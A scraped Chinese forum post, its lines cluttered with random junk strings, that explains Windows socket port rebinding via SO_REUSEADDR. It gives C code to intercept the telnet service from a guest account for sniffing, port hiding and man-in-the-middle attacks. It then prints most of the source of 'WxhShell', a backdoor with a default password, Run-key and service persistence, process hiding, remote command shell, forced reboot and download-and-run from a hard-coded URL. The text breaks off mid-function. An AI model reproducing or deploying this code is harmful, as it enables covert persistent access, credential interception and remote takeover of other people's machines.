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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4+>yL+sC%v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b-8@_@f|g  
{+#{Cha  
  saddr.sin_family = AF_INET; i|z=WnF$&  
&)6}.$`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @&m]:GR  
 m-4#s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'lE{Nj*7  
,N:^4A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,w6?Ap  
X@[5nyILf  
  这意味着什么?意味着可以进行如下的攻击: C zw]5  
8tSY|ME  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oQh;lb  
lHM} E$5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0~ nCT&V  
FJH>P\+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \EU3i;BNT%  
][l5S*CC_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w^8Q~ 3|7  
|sr\SCx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9^g8VlQdT  
r3?8nQ$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +|bmUm<2  
`^{G`es  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5'f_~>1Wt  
!I1p`_(_7  
  #include =7TWzUCO#  
  #include >WZ%Pv *  
  #include (BtU\f#d  
  #include    eCKm4l'BZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9~j"6wS  
  int main() i_m& qy<v  
  { TJRp/BP  
  WORD wVersionRequested; M:OZWYQ  
  DWORD ret; <-N eusx%  
  WSADATA wsaData; 2m*ugBO;  
  BOOL val; p' ^}J$  
  SOCKADDR_IN saddr; t)8c rX}P  
  SOCKADDR_IN scaddr; cd,'37pZ  
  int err; ='D%c^;O8'  
  SOCKET s; bE% Hm!  
  SOCKET sc; 'X+aYF }Ye  
  int caddsize; H#GR*4x  
  HANDLE mt; pW8?EGO@  
  DWORD tid;   (9( xJ)  
  wVersionRequested = MAKEWORD( 2, 2 ); %P1zb7:8  
  err = WSAStartup( wVersionRequested, &wsaData ); f 5bX,e)!  
  if ( err != 0 ) { QE"$Lc)  
  printf("error!WSAStartup failed!\n"); :| k!hG  
  return -1; +7OE,RoQ  
  } W:n\,P  
  saddr.sin_family = AF_INET; 4J,6cOuW4  
   Mfz(%F|<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <5KoK!H  
VJK4C8]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h{-en50tN  
  saddr.sin_port = htons(23); } %0 w25  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *{5}m(5F  
  { NM9ViYm>P  
  printf("error!socket failed!\n"); Rq|5%;1  
  return -1; RgFpc*.T  
  } M6cybEk`  
  val = TRUE; n5xG4.#G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 anz7ae&P'K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `::j\3B&Y-  
  { pvt/{  
  printf("error!setsockopt failed!\n"); #q34>}O< O  
  return -1; 6 T~+vT  
  } Kg2@]J9m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vt zSM%=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %O%;\t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n3J,`1*ct  
lbIW1z%:sy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N0lFx?4  
  { `,pBOh|'  
  ret=GetLastError(); fU.hb%m)Q\  
  printf("error!bind failed!\n"); 8z=o.\@  
  return -1; G2[2y-Rv  
  } 0j;|IU\  
  listen(s,2); HWoMzp5="3  
  while(1) &flcJ`  
  { ~O./A-l  
  caddsize = sizeof(scaddr); PTpCiiA@  
  //接受连接请求 $aXYtHI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .Z QXY%g  
  if(sc!=INVALID_SOCKET) FhH*lO&  
  { cQh{z8Bf?<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3H"F~_H  
  if(mt==NULL) p(4Ek"  
  { Q!~1Xc0S`p  
  printf("Thread Creat Failed!\n");  KYccjX  
  break; b2F1^]p  
  } %E, -dw  
  } 79Q,XRWh|  
  CloseHandle(mt); 3s:)CXO  
  } <C"}OW8  
  closesocket(s); gcX  
  WSACleanup(); ]]V=\.y  
  return 0; q{,yas7}  
  }   ioTqT:.  
  DWORD WINAPI ClientThread(LPVOID lpParam) <0`"vPU  
  { QQHC 1  
  SOCKET ss = (SOCKET)lpParam; Jl"DMUy[kW  
  SOCKET sc; t@cBuV`9c  
  unsigned char buf[4096];  :i?c  
  SOCKADDR_IN saddr; Qw% 0<~<  
  long num; Z#%77!3  
  DWORD val; )Knsy  
  DWORD ret; qj*BV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /e*<-a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z9#jXC#OdN  
  saddr.sin_family = AF_INET; f}FJR6VO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R<h0RKiM@  
  saddr.sin_port = htons(23); OK}8BY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gJOswN;([  
  { U8g?   
  printf("error!socket failed!\n"); q|D*H9[ke  
  return -1; ;NJM3g0I  
  } H~hAm  
  val = 100; 4P24ySy9F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B;{sr'CP  
  { 9qZ|=r]y'  
  ret = GetLastError(); SLd9-N}T  
  return -1; MT&q~jx*  
  } \v9<L'NP)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e8]mdU{)  
  { H~*[v"  
  ret = GetLastError(); &P8Q|A-u  
  return -1; f;ycQc@f  
  } T?5F0WKi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `+r5I5  
  { IZ4jFgpR  
  printf("error!socket connect failed!\n"); 8J9o$Se  
  closesocket(sc); {24Pv#ZG#^  
  closesocket(ss); 'Uo:b<  
  return -1; P#Ikj& l   
  } i%B$p0U<  
  while(1) tQ?}x#J  
  { e''Wm.>g(+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ':]w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w@f_TG"Vt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m7mC 7x  
  num = recv(ss,buf,4096,0); Fn%:0j  
  if(num>0) Md m(xUs  
  send(sc,buf,num,0);  })w5`?Y  
  else if(num==0) .~8IW,[  
  break; &9g#Vq%   
  num = recv(sc,buf,4096,0); *KV] MdS  
  if(num>0) qdu:kA:]  
  send(ss,buf,num,0); 1-gX=8]]  
  else if(num==0) C{S6Ri  
  break; ln!KL'T]  
  } }mJ)gK5b 6  
  closesocket(ss); B "}GAk}V  
  closesocket(sc); I`KN8ll  
  return 0 ; 9p$q@Bc  
  } `^N;%[c`z  
.g&BA15<F6  
E3KPJ`=!*"  
========================================================== _H3cqD  
N4 mQN90t  
下边附上一个代码,,WXhSHELL aH$*Ue@Q  
DwTZ<H4  
========================================================== p-/x Md  
pV-.r-P  
#include "stdafx.h" q C|re!K  
sQH.}W$C  
#include <stdio.h> i|d41u;@  
#include <string.h> ;[ zx'e?!  
#include <windows.h> h/w- &7t  
#include <winsock2.h> 42Ffx?Qmv  
#include <winsvc.h> {5z?5i ?D  
#include <urlmon.h> >\p}UPx  
,!py n<_  
#pragma comment (lib, "Ws2_32.lib") YGn:_9  
#pragma comment (lib, "urlmon.lib") 6ensNr~ea  
2Uk8{d  
#define MAX_USER   100 // 最大客户端连接数 <*5D0q#~"  
#define BUF_SOCK   200 // sock buffer 3 \WdA$Wx  
#define KEY_BUFF   255 // 输入 buffer >) :d38M  
bo"I:)n;  
#define REBOOT     0   // 重启 Tp6ysjao  
#define SHUTDOWN   1   // 关机 },L[bDOV07  
f!I e  
#define DEF_PORT   5000 // 监听端口 r#~6FpFVK^  
`4p9K  
#define REG_LEN     16   // 注册表键长度 BzUx@,  
#define SVC_LEN     80   // NT服务名长度 lJ,s}l7  
dCyQCA[  
// 从dll定义API -T(V6&'Qi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UX9o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nb!m>0*/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CUd'*Ewu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V7v,)a" L  
|3cR'|<Ual  
// wxhshell配置信息 )T+htD)  
struct WSCFG { J\0YL\jw1K  
  int ws_port;         // 监听端口 zj)[Sn tn?  
  char ws_passstr[REG_LEN]; // 口令 DpR%s",Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no i! nl%%  
  char ws_regname[REG_LEN]; // 注册表键名 %?$"oWmenS  
  char ws_svcname[REG_LEN]; // 服务名 JZ7-? o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n C Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fy@D&j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %~[F^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - |'wDf?H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1f:k:Y9i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vT~a}  
=w5w=qB  
}; rYqvG  
33C#iR1(WJ  
// default Wxhshell configuration hv)($;  
struct WSCFG wscfg={DEF_PORT, ;Os3 !  
    "xuhuanlingzhe", <Jk|Bmw;  
    1, i\'N1S<D  
    "Wxhshell", #>V;ZV5"  
    "Wxhshell", _ 8>"&1n  
            "WxhShell Service", w$!n8A qs  
    "Wrsky Windows CmdShell Service", /L 4WWQ5  
    "Please Input Your Password: ", "8X+F%  
  1, J.d `tiN  
  "http://www.wrsky.com/wxhshell.exe", w?C\YKF7  
  "Wxhshell.exe" ?m.4f&X  
    }; C u:-<  
h^)2:0#{I  
// 消息定义模块 dd+).*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xVP GlU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s5dh]vNN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lsz`nD5  
char *msg_ws_ext="\n\rExit."; a`uT'g[*  
char *msg_ws_end="\n\rQuit."; \CGcP  
char *msg_ws_boot="\n\rReboot..."; 1XKk~G"D  
char *msg_ws_poff="\n\rShutdown..."; Sm,$~~iq}  
char *msg_ws_down="\n\rSave to "; }R x%&29&  
{%Y7]*D  
char *msg_ws_err="\n\rErr!"; ;sf/tX  
char *msg_ws_ok="\n\rOK!"; +A3 H#'  
a*8}~p,  
char ExeFile[MAX_PATH]; HKwGaCj`  
int nUser = 0; |"< I\Vs:  
HANDLE handles[MAX_USER]; !|/fVWH  
int OsIsNt; N@$%0!  
qGqu/$bh  
SERVICE_STATUS       serviceStatus; '9gI=/29D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uwka 2aSS  
|<0@RCgM  
// 函数声明 #rwR)9iC0  
int Install(void); qr 9 F  
int Uninstall(void); [8w2U%}]  
int DownloadFile(char *sURL, SOCKET wsh); YB|9k)Z2[  
int Boot(int flag); kes'q8k  
void HideProc(void); $%-?S]6)  
int GetOsVer(void); Ymu=G3-  
int Wxhshell(SOCKET wsl); ZIp=JR8o$  
void TalkWithClient(void *cs); u/f&Wq/  
int CmdShell(SOCKET sock); p3o?_ !Z  
int StartFromService(void); luT8>9X^:a  
int StartWxhshell(LPSTR lpCmdLine); qu%s 7+  
/ ["T#`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \YS?}! 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nz\fN?q  
rWXW}Yg  
// 数据结构和表定义 De_</1Au!2  
SERVICE_TABLE_ENTRY DispatchTable[] = }t'^Au`X  
{ w$4Lu"N :  
{wscfg.ws_svcname, NTServiceMain}, hd;I x%tq>  
{NULL, NULL}  |_ *$+  
}; Fe .*O`  
 P+0xi  
// 自我安装 pg)g&ifKl  
int Install(void) s_LSs yqo  
{ >``GDjcJ  
  char svExeFile[MAX_PATH]; h'p0V@!N  
  HKEY key; ;>9pJ72r  
  strcpy(svExeFile,ExeFile); rE:>G]j6  
ErC[Zh"''  
// 如果是win9x系统,修改注册表设为自启动 Cj+=9Dc  
if(!OsIsNt) { E6k&r}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YC<I|&"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K7c8_g*>4=  
  RegCloseKey(key); _O%p{t'q<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ex458^N_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]o$/xP  
  RegCloseKey(key); 1`{ib  
  return 0; G6 5N:  
    }  /GUuu  
  } w)n]}k  
} 8A.7=C' z  
else { 'wrpW#  
tqCg<NH.!m  
// 如果是NT以上系统,安装为系统服务 >U Lp!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KT71%?P  
if (schSCManager!=0) /p0LtUMu  
{ us%RQ8=k  
  SC_HANDLE schService = CreateService zQ}N mlk  
  ( CaBS0' n  
  schSCManager, 8zWPb  
  wscfg.ws_svcname, [Gy'0P(EQ  
  wscfg.ws_svcdisp, V?BVk8D};  
  SERVICE_ALL_ACCESS, 5FI>T=QF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iGLYM-  
  SERVICE_AUTO_START, -d'|X`^nE  
  SERVICE_ERROR_NORMAL, {2r7:nvR  
  svExeFile, P*Sip?tdE  
  NULL, z_@zMLs  
  NULL, 6~W E#z_  
  NULL, o q)"1  
  NULL, V&v~kzLr+  
  NULL W2qQKv  
  ); wlg#c6#q  
  if (schService!=0) QL18MbfqP  
  { )fc"])&8  
  CloseServiceHandle(schService); :w%b w\}  
  CloseServiceHandle(schSCManager); bU`yymf{L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {+9\o ~  
  strcat(svExeFile,wscfg.ws_svcname); n9!3h?,g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [)>8z8'f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %0]b5u  
  RegCloseKey(key); [_b='/8  
  return 0; }Xv1KX'  
    } I>Fh*2  
  } a&Du5(r;!  
  CloseServiceHandle(schSCManager); 5O ;^Mk|  
} z %E!tB2o  
} *%'7~58ObS  
G!%XQ\a!  
return 1; v:1Vli.  
} 9mphj)`d;#  
_C=[bI@  
// 自我卸载 >0#q!H,X  
int Uninstall(void) Z3>3&|&  
{ _)2TLA n3  
  HKEY key; $ywh%OEH  
+N:6wZ7<f  
if(!OsIsNt) { xGv,%'u\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]},Q`n>$  
  RegDeleteValue(key,wscfg.ws_regname); J&65B./mD9  
  RegCloseKey(key); wg0.i?R-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ![ID0}MjJ  
  RegDeleteValue(key,wscfg.ws_regname); -Bv1}xf=6  
  RegCloseKey(key); dt&Lwf/  
  return 0; @i-@mxk6<  
  } DeQ'U!?+N  
} %&+R":Bw  
} 0P3|1=  
else { i}F;fWZ`  
L4*fF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K |} ]<  
if (schSCManager!=0) Tc5OI'-V  
{ 3l(;Pt-yI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aDvO(C  
  if (schService!=0) IYg3ve`x  
  { Y_>-p(IH  
  if(DeleteService(schService)!=0) { nk$V{(FJ  
  CloseServiceHandle(schService); 0*/ r'  
  CloseServiceHandle(schSCManager); !_H8Q}a  
  return 0; ss@}Dt^  
  } }6,bq`MN  
  CloseServiceHandle(schService); lWw!+[<:q1  
  } ^I~T$YjC '  
  CloseServiceHandle(schSCManager); exEld  
} G^@Jgx3n  
} ?WtG|w  
}rA+W-7  
return 1; Yn]y d1  
} 9iddanQA  
7a]Zws  
// 从指定url下载文件 V -4*nV  
int DownloadFile(char *sURL, SOCKET wsh) EJ;0ypbG  
{ m<,G:?RM  
  HRESULT hr; FoD/Q  
char seps[]= "/"; S]%U]  
char *token; Dw/Gha/  
char *file; ;E?  hz  
char myURL[MAX_PATH]; Vt)\[Tl~  
char myFILE[MAX_PATH]; 5OW8G][  
b|8>eY  
strcpy(myURL,sURL); *5_ 8\7d  
  token=strtok(myURL,seps); y_4krY|Zx  
  while(token!=NULL) #JR,C -w  
  { g6/N\[b%  
    file=token; c]!D`FA*K  
  token=strtok(NULL,seps); Q @OC=  
  } vV\F^  
lPcVhj6No%  
GetCurrentDirectory(MAX_PATH,myFILE); 5az 4NT  
strcat(myFILE, "\\"); qwNKRqT  
strcat(myFILE, file); G9y12HV  
  send(wsh,myFILE,strlen(myFILE),0); dMs39j  
send(wsh,"...",3,0); {}J@+Zsi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (06Vcqg  
  if(hr==S_OK) kl3S~gE4@  
return 0; )\D40,p  
else 0B$7S,2  
return 1; ~UJu @M  
b~Pxgfu"  
} Y^ZBA\D2,k  
h;ol"  
// 系统电源模块 *v nxP9<  
int Boot(int flag) Rp`_Grcd  
{ Fx[A8G  
  HANDLE hToken; rq(~/Yc  
  TOKEN_PRIVILEGES tkp; _`X#c-J  
2hwXWTSu  
  if(OsIsNt) { jPYe_y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O *J_+6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xlqz8cI  
    tkp.PrivilegeCount = 1; T ^%n!t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sAD P~xvU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K)Xs L  
if(flag==REBOOT) { W]yClx \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _]D#)-uv}C  
  return 0; ;4/dk_~p]  
} /@:up+$  
else { nc\C 4g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? __aVQ7  
  return 0; >xZhK63C/  
} VM]GYz|#]  
  } N{hF [F  
  else { 7tfivIj)e  
if(flag==REBOOT) { ueE?"Hk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _D2bGZN  
  return 0; Y7:Y{7E7  
} 3b?OW7H  
else { 8pq-nuf|K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lA.;ZD!  
  return 0; J%\~<_2ny  
} x'@32gv  
} Y0 X"Zw  
>: W-C{%  
return 1; 4QjWZ Wl  
} )pZekh]v  
Z4HA94  
// win9x进程隐藏模块 ^0`<k  
void HideProc(void) .W@(nQ-<  
{ $['7vcB^  
Tn@UX(^,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }ED nLou  
  if ( hKernel != NULL ) vlPl(F1  
  { ,\S pjE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 .FHdJ<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1~R$$P11[9  
    FreeLibrary(hKernel); R*Xu( 89  
  } sMz^!RX@  
?}=-eJ(7e  
return; dDqr B-G  
} J~iOP  
W8G9rB|T  
// 获取操作系统版本 MS st  
int GetOsVer(void) b@2Cl l#  
{ &PRx,G5  
  OSVERSIONINFO winfo; &$b\=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TDAWI_83-  
  GetVersionEx(&winfo); .B 85!lCF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P>{US1t  
  return 1; 42V,PH6o  
  else dq YDz  
  return 0; && DD  
} 3qAwBVWa  
"xDx/d8B  
// 客户端句柄模块 $>'")7z  
int Wxhshell(SOCKET wsl) 2<[ eD`u  
{ SLJ&{`"7  
  SOCKET wsh; G%7 4v|cd  
  struct sockaddr_in client; S(>@:`=  
  DWORD myID; })o~E  
q:Y6fbt<7  
  while(nUser<MAX_USER) CYPazOfj  
{ 2ec$xms  
  int nSize=sizeof(client); t_I\P.aMA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1jH7<%y  
  if(wsh==INVALID_SOCKET) return 1; 6WE&((r ^  
^s^ JzFw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2gd<8a''  
if(handles[nUser]==0) 861i3OXVE>  
  closesocket(wsh); Gh]_L+  
else hncS_ZA  
  nUser++; SUH mBo"}  
  } o~v_PD[S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :W.jNV{e\F  
0T9@,scY  
  return 0; Dd!Sr8L[  
} ex` xkZ+  
*'9)H 0  
// 关闭 socket /OQK/ t63  
void CloseIt(SOCKET wsh) :vc[/<  
{ <i_> y~v`  
closesocket(wsh); |'V DI]p&  
nUser--; O!+nF]V4f  
ExitThread(0); L@{!r=%_>  
} lQV|U;~D  
_ yfdj[Ot`  
// 客户端请求句柄 uQGz;F x  
void TalkWithClient(void *cs) AVXX\n\_  
{ `y\*m]:  
ds*m6#1b  
  SOCKET wsh=(SOCKET)cs;  20I4r  
  char pwd[SVC_LEN]; a'@-"qk  
  char cmd[KEY_BUFF]; $uEJn&n7}  
char chr[1]; Xw7{R  
int i,j; PUbaS{J7  
^ckj3Y#;  
  while (nUser < MAX_USER) { Yv)Bj  
yWj9EHQU[  
if(wscfg.ws_passstr) { iD>G!\&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T)WZ_bR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y]C; T  
  //ZeroMemory(pwd,KEY_BUFF); hc-lzYS  
      i=0; Xzl KP;r0  
  while(i<SVC_LEN) { r1i$D  
`IEq@Wr#$!  
  // 设置超时 v"z (JF  
  fd_set FdRead; B0f_kH~p~  
  struct timeval TimeOut; "'['(e+7  
  FD_ZERO(&FdRead); =2^Vgc  
  FD_SET(wsh,&FdRead); }qc#lz  
  TimeOut.tv_sec=8; `S"W8_m  
  TimeOut.tv_usec=0; M[ x_#m|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jja{*PZ6H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X'cf&>h  
\ ,>_c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DdBxqkh  
  pwd=chr[0]; n!GWqle  
  if(chr[0]==0xd || chr[0]==0xa) { mJ)tHv"7  
  pwd=0; TE3*ktB{N  
  break; (# JMB)  
  } @Z?7E8(  
  i++; 6fh{lx>  
    } l iw,O 6  
Pj'62[5z  
  // 如果是非法用户,关闭 socket 's)fO#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G49Ng|qn  
} )T>8XCL\}  
31WZJm^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Axng J c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <5dH *K  
x+4v s s  
while(1) { iJ}2"i7M  
m&Lt6_vi  
  ZeroMemory(cmd,KEY_BUFF); F[5S(7M 7  
HtxLMzgz<<  
      // 自动支持客户端 telnet标准   br b[})}  
  j=0; ya:sW5fk  
  while(j<KEY_BUFF) { f%c06Un=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "X`RQ6~]>  
  cmd[j]=chr[0]; BsKbn@'uC  
  if(chr[0]==0xa || chr[0]==0xd) { vCj4;P g  
  cmd[j]=0; Hw Z^D= A  
  break; 0z/h+,  
  } g;8M<`qvf  
  j++;  1Yud~[c  
    } Zp`~}LV{  
My. dD'C  
  // 下载文件 C1 W>/?XC  
  if(strstr(cmd,"http://")) { d7E7f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); djUihcqA`  
  if(DownloadFile(cmd,wsh)) *2`:VFEV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%;"[r  
  else [q'eEN G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v{o? #Sk1  
  } g^jJ8k,7(  
  else { ~]&B >q  
dsV ~|D6:  
    switch(cmd[0]) { 7R: WX:  
   ozU2  
  // 帮助 /J;;|X#P  
  case '?': { {B3(HiC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H"_v+N5=  
    break; HL@TcfOe~  
  } ) !i!3  
  // 安装 VUp. j  
  case 'i': { +$PFHXB  
    if(Install()) Mq@}snp"S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l8^y]M  
    else (v!mR+\x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 sZwdO  
    break; |) O):  
    } D i+4Eb  
  // 卸载 0pD[7~^o  
  case 'r': { q3+I<qsAz  
    if(Uninstall()) glx2I_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]oEQ4  
    else mbyih+amCr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Z*'D}  
    break; (-\]A|  
    } PcB{ = L  
  // 显示 wxhshell 所在路径 `NQ{)N0!  
  case 'p': { ijF V<P  
    char svExeFile[MAX_PATH]; IP04l;p/  
    strcpy(svExeFile,"\n\r"); gGI8t@t:  
      strcat(svExeFile,ExeFile); -,^WaB7u\  
        send(wsh,svExeFile,strlen(svExeFile),0); uoHqL IpQ  
    break; .U 39nd  
    } U+} y %3l  
  // 重启 as(*B-_n~  
  case 'b': { >b>gr OX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UT4f (Xo  
    if(Boot(REBOOT)) P{cos&X|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1aq2aLx  
    else { zks#EzQ  
    closesocket(wsh); ;, rnk-  
    ExitThread(0); d@ZoV  
    } /ERNS/w  
    break; Zi/-~')E  
    } ?I[h~vr6.  
  // 关机 ^!}F%  
  case 'd': { 9`BEi(z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &\k?xN  
